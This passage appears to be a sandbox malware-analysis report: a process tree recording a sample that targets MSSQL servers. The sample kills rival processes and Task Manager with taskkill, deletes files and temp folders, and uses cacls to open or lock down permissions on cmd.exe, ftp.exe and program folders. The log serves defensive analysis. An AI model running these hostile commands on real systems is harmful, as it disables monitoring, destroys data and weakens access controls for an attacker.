  cmd /c taskkill /f /im clsso.exe
  2⤵
  PID:2664
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im clsso.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2524
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:2940
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3944
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:2192
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2592
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:2500
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4748
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4304
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoz.exe
  2⤵
  PID:5688
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoz.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:248
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:608
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im conhoy.exe
  2⤵
  PID:5968
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im conhoy.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  PID:3484
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im csrs.exe
  2⤵
  PID:4592
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im csrs.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:4736
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sysdo.exe
  2⤵
  PID:5588
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sysdo.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SqlManagement.exe
  2⤵
  PID:2540
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SqlManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sSqlManagement.exe
  2⤵
  PID:6536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe
  2⤵
  PID:5088
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SystemManagement.exe
  2⤵
  PID:5756
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SystemManagement.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
  2⤵
  PID:5872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\*
  2⤵
  PID:2108
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im taskmgr.exe
  2⤵
  PID:4112
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4072
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im wscript.exe
  2⤵
  PID:5832
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im wscript.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWD.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4508
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWD.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWA.exe
  2⤵
  PID:3900
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWB.exe
  2⤵
  PID:6100
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWB.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTSWC.exe
  2⤵
  PID:5176
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTSWC.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6008
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENAC.exe
  2⤵
  PID:6928
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENAC.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5600
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5240
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:4436
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:6704
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6628
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
  2⤵
  PID:6732
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
    3⤵
    PID:3396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:6456
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:1324
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:5932
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:1652
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:972
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:980
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:5168
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6516
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:3932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4816
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:2892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:4228
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:4824
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:4800
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:3976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:1908
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:2764
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
  2⤵
  PID:5016
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
    3⤵
    PID:6308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
  2⤵
  PID:2176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
    3⤵
    PID:6616
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:2020
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTC.exe
  2⤵
  PID:4700
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTC.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:7028
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:2808
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6428
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTN.exe
  2⤵
  PID:6304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2484
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTN.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1832
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:4896
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3820
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6952
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGENTA.exe
  2⤵
  PID:5804
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGENTA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6856
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:5292
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:4732
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:4188
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
  2⤵
  PID:4444
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
    3⤵
    PID:6288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:1624
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:1540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:6120
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:3928
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:3092
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:292
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:7116
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:296
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:5872
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:4948
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:1772
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:6188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:248
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6112
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:6368
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:4384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:6388
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:6236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
  2⤵
  PID:252
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
    3⤵
    PID:2668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
  2⤵
  PID:2980
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
    3⤵
    PID:7000
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:2268
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2388
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1444
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATC.exe
  2⤵
  PID:1436
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATC.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:6744
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATN.exe
  2⤵
  PID:6920
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATN.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:5896
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5560
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im SQLAGEATA.exe
  2⤵
  PID:2424
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SQLAGEATA.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQL~1\AppData\Local\Temp\*
  2⤵
  PID:3068
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\MSSQLSERVER\AppData\Local\Temp\*
  2⤵
  PID:7036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\Temp\*
  2⤵
  PID:4288
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\*
  2⤵
  PID:6148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c del /f /a /q C:\Users\Administrator\AppData\Local\Temp\*
  2⤵
  PID:4196
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\TempUpdate2.bat
  2⤵
  PID:6356
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:6028
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:6008
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:5252
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g everyone:f
    3⤵
    PID:5540
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g system:f
    3⤵
    PID:5204
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g system:f
    3⤵
    PID:1976
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cacls.exe" /e /t /g system:f
    3⤵
    PID:7004
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cacls.exe" /e /t /g system:f
    3⤵
    PID:5556
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:1432
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
    3⤵
    PID:2716
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3872
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:2992
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:6468
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
    3⤵
    PID:6348
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
    3⤵
    PID:3976
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:1140
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
    3⤵
    PID:396
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6604
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:3000
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:360
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
    3⤵
    PID:6596
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
    3⤵
    PID:6264
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im taskmgr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im WavesSys.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:908
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im SvidaPctb.exe
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:6680
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im GthUdTask.exe
    3⤵
    - Kills process with taskkill
    PID:6504
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im BthUdTask.exe
    3⤵
    PID:980
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im OmdBase.exe
    3⤵
    PID:4812
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im System.exe
    3⤵
    - Kills process with taskkill
    PID:5004
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d everyone
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2456
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d system
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6156
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d everyone
    3⤵
    PID:6332
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft Maker" /t /e /c /d system
    3⤵
    PID:6660
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Maker" /t /e /c /d everyone
    3⤵
    PID:6556
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft Maker" /t /e /c /d system
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft StuSystem" /t /e /c /d everyone
    3⤵
    PID:3936
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft StuSystem" /t /e /c /d system
    3⤵
    PID:904
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft StuSystem" /t /e /c /d everyone
    3⤵
    PID:5324
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files (x86)\Microsoft StuSystem" /t /e /c /d system
    3⤵
    PID:6452
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft StuSystem" /t /e /c /d everyone
    3⤵
    PID:1416
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft StuSystem" /t /e /c /d system
    3⤵
    PID:5612
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\WindowsRunner.exe" /t /e /c /r everyone
    3⤵
    PID:4492
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe" /t /e /c /r everyone
    3⤵
    PID:6984
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe" /t /e /c /d everyone
    3⤵
    PID:5188
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe" /t /e /c /d everyone
    3⤵
    PID:5744
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\*" /t /e /c /d everyone
    3⤵
    PID:7040
- - C:\Windows\SysWOW64\cacls.exe
    Cacls "D:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\SqlManagement\WindowsRunner.exe" /t /e /c /r everyone
    3⤵
    - Enumerates connected drives
    PID:6220
- - C:\Windows\SysWOW64\cacls.exe
